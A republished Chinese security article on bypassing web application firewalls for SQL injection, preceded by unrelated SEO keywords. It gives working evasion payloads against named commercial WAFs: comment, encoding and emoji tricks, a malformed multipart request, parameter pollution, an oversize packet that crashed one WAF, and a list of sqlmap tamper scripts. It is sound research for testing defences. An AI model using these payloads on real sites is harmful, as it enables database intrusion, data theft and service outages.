wordpress网站搭建教程视频,继续教育培训网站开发,网站制作方案中哪几个点比较重要,wordpress模板上传图片我的WafBypass之道#xff08;SQL注入篇#xff09; Web安全 作者#xff1a;先知技术社区 2016-11-23 7,566【本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址 安全脉搏编辑huan9740整理发布】 0x00 前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章#xf… 我的WafBypass之道SQL注入篇 Web安全 作者先知技术社区 2016-11-23 7,566 【本文转自安全脉搏战略合作伙伴先知技术社区 原帖地址 安全脉搏编辑huan9740整理发布】 0x00 前言 去年到现在就一直有人希望我出一篇关于waf绕过的文章我觉得这种老生常 谈的话题也没什么可写的。 很多人一遇到waf就发懵不知如何是好能搜到的各 种姿势也是然并卵。 但是积累姿势的过程也是迭代的那么就有了此文用来总 结一些学习和培养突破waf的思想。 可能总结的并不全但目的并不是讲那些网上 搜来一大把的东西So…并不会告诉大家现有的姿势 而是突破Waf Bypass思维定势达到独立去挖掘waf的设计缺陷和如何实现自动化的Waf Bypass这里只讲主流 waf的黑盒测试 0x01 搞起 当我们遇到一个waf时要确定是什么类型的先来看看主流的这些waf狗、盾、神、锁、宝、卫士等等。。。在测试时不要只在官网测试因为存在版本差异导致规则库并不一致 云waf在配置云waf时通常是CDN包含的wafDNS需要解析到CDN的ip上去在请求uri时数据包就会先经过云waf进行检测如果通过再将数据包流给主机。 主机防护软件在主机上预先安装了这种防护软件可用于扫描和保护主机废话和监听web端口的流量是否有恶意的所以这种从功能上讲较为全面。这里再插一嘴mod_security、ngx-lua-waf这类开源waf虽然看起来不错但是有个弱点就是升级的成本会高一些。 硬件ips/ids防护、硬件waf这里先不讲使用专门硬件防护设备的方式当向主机请求时会先将流量经过此设备进行流量清洗和拦截如果通过再将数据包流给主机。 再来说明下某些潜规则关系 百度云加速免费版节点基于CloudFlare 安全宝和百度云加速规则库相似 创宇云安全和腾讯云安全规则库相似 腾讯云安全和门神规则库相似 硬件waf自身漏洞往往一大堆 当Rule相似时会导致一个问题就比如和双胞胎结婚晓得吧嗯。 0x02 司空见惯 我们还需要把各种特性都记牢在运用时加以变化会很有效果。 数据库特性
注释
#-- -- - -- // /**/
/*letmetest*/
;利用注释简单绕过云锁的一个案例 拦截的但/**/ 1个就可以绕过了也就是/**//**/以上都可以。 科学记数法 空白字符 SQLite3 0A 0D 0C 09 20MySQL5 09 0A 0B 0C 0D A0 20PosgresSQL 0A 0D 0C 09 20Oracle 11g 00 0A 0D 0C 09 20MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20号: -号: 符号 ~号 !号 形式 点号.1 单引号双引号 括号select(1) 试试union(select)云盾会不会拦截 花括号 这里举一个云盾的案例并附上当时fuzz的过程 unionselect 拦截selectfrom 不拦截selectfrom表名 拦截union(select) 不拦截所以可以不用在乎这个union了。union(select user from ddd) 拦截union(select%0aall) 不拦截union(select%0aall user from ddd) 拦截fuzz下select%0aall与字段之间 字段与from之间 from与表名之间 表名与末尾圆括号之间可插入的符号。union(select%0aall{user}from{ddd}) 不拦截。Bypass Payload 1 union(select%0aall{x users}from{x ddd})1 union(select%0adistinct{x users}from{x ddd})1 union(select%0adistinctrow{x users}from{x ddd})可运用的sql函数关键字 MySQLunion distinctunion distinctrowprocedure analyse()updatexml()extracavalue()exp()ceil()atan()sqrt()floor()ceiling()tan()rand()sign()greatest()字符串截取函数Mid(version(),1,1)Substr(version(),1,1)Substring(version(),1,1)Lpad(version(),1,1)Rpad(version(),1,1)Left(version(),1)reverse(right(reverse(version()),1)字符串连接函数concat(version(),|,user());concat_ws(|,1,2,3)字符转换Char(49)Hex(a)Unhex(61)过滤了逗号(1)limit处的逗号limit 1 offset 0(2)字符串截取处的逗号mid处的逗号mid(version() from 1 for 1)MSSQLIS_SRVROLEMEMBER()IS_MEMBER()HAS_DBACCESS()convert()col_name()object_id()is_srvrolemember()is_member()字符串截取函数Substring(version,1,1)Left(version,1)Right(version,1)(2)字符串转换函数Ascii(a) 这里的函数可以在括号之间添加空格的一些waf过滤不严会导致bypassChar(97)execMysql BIGINT数据类型构造溢出型报错注入 BIGINT Overflow Error Based SQL Injectionhttp://www.thinkings.org/2015/08/10/bigint-overflow-error-sqli.html 容器特性%特性 aspiis的环境中当我们请求的url中存在单一的百分号%时iisasp会将其忽略掉而没特殊要求的waf当然是不会的 修复方式应该就是检测这种百分号%的周围是否能拼凑成恶意的关键字吧。 %u特性 iis支持unicode的解析当我们请求的url存在unicode字符串的话iis会自动将其转换但waf就不一定了 修复过后 这个特性还存在另一个case就是多个widechar会有可能转换为同一个字符。 s%u0065lect-selects%u00f0lect-selectWAF对%u0065会识别出这是e组合成了select关键字但有可能识别不出%u00f0 其实不止这个还有很多类似的 字母a%u0000%u0041%u0061%u00aa%u00e2单引号%u0027%u02b9%u02bc%u02c8%u2032%uff07%c0%27%c0%a7%e0%80%a7空白%u0020%uff00%c0%20%c0%a0%e0%80%a0左括号(%u0028%uff08%c0%28%c0%a8%e0%80%a8右括号)%u0029%uff09%c0%29%c0%a9%e0%80%a9畸形协议请求 asp/asp.net还有asp/asp.net在解析请求的时候允许application/x-www-form-urlencoded的数据提交方式不管是GET还是POST都可正常接收过滤GET请求时如果没有对application/x-www-form-urlencoded提交数据方式进行过滤就会导致任意注入。 phpApache waf通常会对请求进行严格的协议判断比如GET、POST等但是apache解析协议时却没有那么严格当我们将协议随便定义时也是可以的 PHP解析器在解析multipart请求的时候它以逗号作为边界只取boundary而普通解析器接受整个字符串。 因此如果没有按正确规范的话就会出现这么一个状况首先填充无害的datawaf将其视为了一个整体请求其实还包含着恶意语句。 ------,xxxxContent-Disposition: form-data; nameimg; filenameimg.gifGIF89a------Content-Disposition: form-data; nameid1 union select null,null,flag,null from flag limit 1 offset 1-- ---------------,xxxx--通用的特性HPP HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时根据容器不同会得到不同的结果。假设提交的参数即为id1id2id3 Asp.net iisid1,2,3Asp iisid1,2,3Php apacheid3双重编码 这个要视场景而定如果确定一个带有waf的site存在解码后注入的漏洞的话会有效避过waf。 unlencodebase64jsonbinaryquerystringhtmlencodeunicodephp serialize我们在整体测试一个waf时可测试的点都有哪些 GET、POST、HEADER那么我们专门针对一个waf进行测试的时候就要将这几个点全测试个遍header中还包括Cookie、X-Forwarded-For等往往除了GET以外其他都是过滤最弱的。 0x03 见招拆招 “正则逃逸大法”或许大家没听说过这个名词因为是我起的。我发现很多waf在进行过滤新姿势的时候很是一根筋最简单的比方过滤了%23%0a却不过滤%2d%2d%0a上面提到八成的waf都被%23%0a所绕过。 科学计数法1union、1from多次被坑的安全宝百度云加速Imperva 过滤了unionselectfrom那我selectfromunion呢使用Mysql自定义变量的特性就可以实现这里举一个阿里云盾的案例 由于后面在调用自定义变量的时候需要用到unionselect所以还需要绕过这个点。/*ddd*/union/*ddd*/select 就可以了。 Bypass Payload 如何做到通过推理绕过waf这里举一个腾讯云安全的案例 绕过思路: 首先看看腾讯云安全怎么检测sql注入的怎么匹配关键字会被拦截怎么匹配不会? unionselect拦截 selectfrom拦截 unionfrom不拦截 那么关键的点就是绕过这个select关键字 select all select distinct select distinctrow 既然这些都可以再想想使用这样的语句怎么不被检测到select与all中间肯定不能用普通的/**/这种代替空格还是会被视为是unionselect。select all可以这么表达/*!12345select all*/腾讯云早已识破这种烂大街的招式。尝试了下/*!*/中间也可以使用%0a换行。 /*!12345%0aselect%20all*/还是会被拦截这就说明腾讯云在语法检测的时候会忽略掉数字后面的%0a换行虽然属于union12342select但简单的数字和关键字区分识别还是做得到。再测试/*!12345select%0aall*/结果就合乎推理了根据测试知道腾讯云安全会忽略掉%0a换行这就等于union12345selectall 不会被检测到。忽略掉%0a换行为了过滤反而可以用来加以利用进行Bypass 可能会问推理的依据并不能真正意义上证明忽略掉了%0a啊当然要证明下啊/*!12345%0aselect%0aall*/就被拦截了说明刚开始检测到12345%0aselect就不再检测后方的了union12345select就已经可以拦截掉了。 还可能会问既然忽略掉了%0a那么/*!select%0aall*/是不是也可以啊然而并不行。合理的推理很有必要。Bypass Payload: 1 union/*!50000select%0aall*/username from users%231 union/*!50000select%0adistinct*/username from users%231 union/*!50000select%0adistinctrow*/username from users%23不是绕不过狗只是不够细心 unionselect拦截。selectfrom拦截。unionfrom不拦截。fuzz了下/*!50000select*/这个5位数前两位数50 第二位!0 后三位数0即可bypass。(一点细节也不要放过。)测试环境 Windows Server 2008 APACHE PHP Mysql Bypass Payload:1 union/*!23000select*/user,password from users%23这里证明一个观点好姿势不是死的零零碎碎玩不转的姿势巧妙的结合一下。所以说一个姿势被拦截不代表就少了一个姿势。 0x04 别按套路出牌 云锁版本迭代导致的 360主机卫士一直存在的问题 注意POST那个方向waf在检测POST传输的数据过程中没有进行URL的检测也就是说waf会认为URL上的任何参数信息都是正常的。既然是POST请求那就只检测请求正文咯。(神逻辑) 在标准HTTP处理流程中只要后端有接收GET形式的查询字段即使客户端用POST传输查询字符串上满足查询条件时是会进行处理的。没毛病 当waf成了宕机的罪魁祸首是什么样的举一个安全狗的案例 /*66666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666*/注释中包含超长查询字符串导致安全狗在识别的过程中挂掉了连带着整个机器Service Unavailable 再举一个云锁也是因为数据包过长导致绕过的案例 云锁在开始检测时先判断包的大小是否为7250byte以下n为填充包内容设置n大小为2328时可以正常访问页面但是会提示拦截了SQL注入 当数据包超过2329时就可以成功绕过2329长度以后的就不检测了。 0x05 猥琐很重要 这里讲个有意思的案例并且是当时影响了安全宝、阿里云盾的姿势有次睡前想到的emoji图标是的平时做梦并没有美女与野兽。当时只是随便一想第二天问了5up3rc他说他也想过但测试并没有什么效果 emoji是一串unicode字集组成一个emoji图标占5个字节mysq也支持emoji的存储在mysql下占四个字节: 既然在查询的时候%23会忽略掉后面的那么Emoji就可以插入到%23与%0A之间。再加多试了试成功绕过了200多个emoji图标只能多但少一个都不行。。。 可能会说这是因为超⻓查询导致的绕过吧?并不是。 这么⻓mysql也是会执行的: 我们再来测试阿里云盾 当缩少emoji数量的话会拦截想想还是再加多些试试: 还是拦截那刚才的没拦截是怎么回事?点根烟逐一进行排查。发现能绕过的原因和emoji数量无关而是某个emoji可以。 就是这个愤怒的emoji其他的emoji都不行。唯独愤怒脸可以: 将这些emoji进行urlencode看看特征究竟是什么原因?看看哪些emoji插入不会被拦截: 有些emoji进行urlencode后是很⻓的因为是几个emoji进行组合的。 将这些payload进行注入进去。 难道只有这个愤怒脸插入进去就可以绕过?也不能这么说我发现能绕过的字符都是ascii码超过了127的字符 那为什么愤怒脸的emoji可以?这里提到emoji的特征常⻅的emoji是四位组成前三位多数是一致的把这三位插入payload试试: 可以实现绕过再来看看愤怒脸的urlencode: 最后一位是%a0那么也就是说完全可以忽略掉最后一位而多数emoji第四位是 ascii 127的字符会导致waf引擎无法检测。 0x06 自动化Bypass 首先总结下sqlmap的各种bypass waf tamper apostrophemask.py 用UTF-8全角字符替换单引号字符apostrophenullencode.py 用非法双字节unicode字符替换单引号字符appendnullbyte.py 在payload末尾添加空字符编码base64encode.py 对给定的payload全部字符使用Base64编码between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“”“BETWEEN # AND #”替换等于号“”bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符随后用“LIKE”替换等于号“”chardoubleencode.py 对给定的payload全部字符使用双重URL编码不处理已经编码的字符charencode.py 对给定的payload全部字符使用URL编码不处理已经编码的字符charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码不处理已经编码的字符concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例equaltolike.py 用“LIKE”运算符替换全部等于号“”greatest.py 用“GREATEST”函数替换大于号“”halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例lowercase.py 用小写值替换每个关键字字符modsecurityversioned.py 用注释包围完整的查询modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询multiplespaces.py 在SQL关键字周围添加多个空格nonrecursivereplacement.py 用representations替换预定义SQL关键字适用于过滤器overlongutf8.py 转换给定的payload当中的所有字符percentage.py 在每个字符之前添加一个百分号randomcase.py 随机转换每个关键字字符的大小写randomcomments.py 向SQL关键字中插入随机注释securesphere.py 添加经过特殊构造的字符串sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logsspace2comment.py 用“/**/”替换空格符space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符space2plus.py 用加号“”替换空格符space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAFversionedkeywords.py 用MySQL注释包围每个非函数关键字versionedmorekeywords.py 用MySQL注释包围每个关键字xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF看起来很全但有个缺点就是功能单一灵活程度面对当今的主流waf来说很吃力了。鉴于多数waf产品是使用Rule进行防护那么这里也不提什么高大上的机器学习。就是简单粗暴的fuzz。 去年黄登提到过建立有毒标示模型根据这个模型将waf进行训练。 我把每个sql关键字两侧可插入的点称之为“位”最基本的一句注入语句就有这些位 假设有n个有毒标示最基本的注入语句可以插入五个位这五个位定义为a1,a2...a5那么结果将会是多少呢这个是叠加的关键字不止这些稍微复杂一点的环境就会需要更多的关键字来注入也就会需要fuzz更多的位。还需要经过各种编码过后根据数据库的样式使用相应的特性和配合的函数等等。当前几个关键字达到绕过效果时只需继续fuzz后面几个位即可。还有就是传输过程中可测试的点 因为当我们在传输的过程中导致的绕过往往是致命的比如中间件的特性/缺陷导致waf不能识别或者是在满足特定条件下的欺骗了waf。 0x07 End 一写起来就根本停不起来后期决定出一系列waf绕过文例如文件上传、webshell防御、权限提升等Waf绕过。xss的bypass就算了防不胜防… AuthorTr3jer_CongRongBlogwww.Thinkings.orgMailTr3jergmail.com【本文转自脉搏战略合作伙伴先知技术社区 原帖地址 安全脉搏编辑Joey整理发布】 Tags: bypass、Bypass Payload、emoji、HTTP Parameter Pollution、HTTP参数污染、Mysql、Sql注入、Tr3jer_CongRong、WAF绕过、云盾、云锁、先知技术、利用注释简单绕过云锁、我的WafBypass之道、正则逃逸、正则逃逸大法、漏洞研究、腾讯云安全转载于:https://www.cnblogs.com/i-honey/p/8011531.html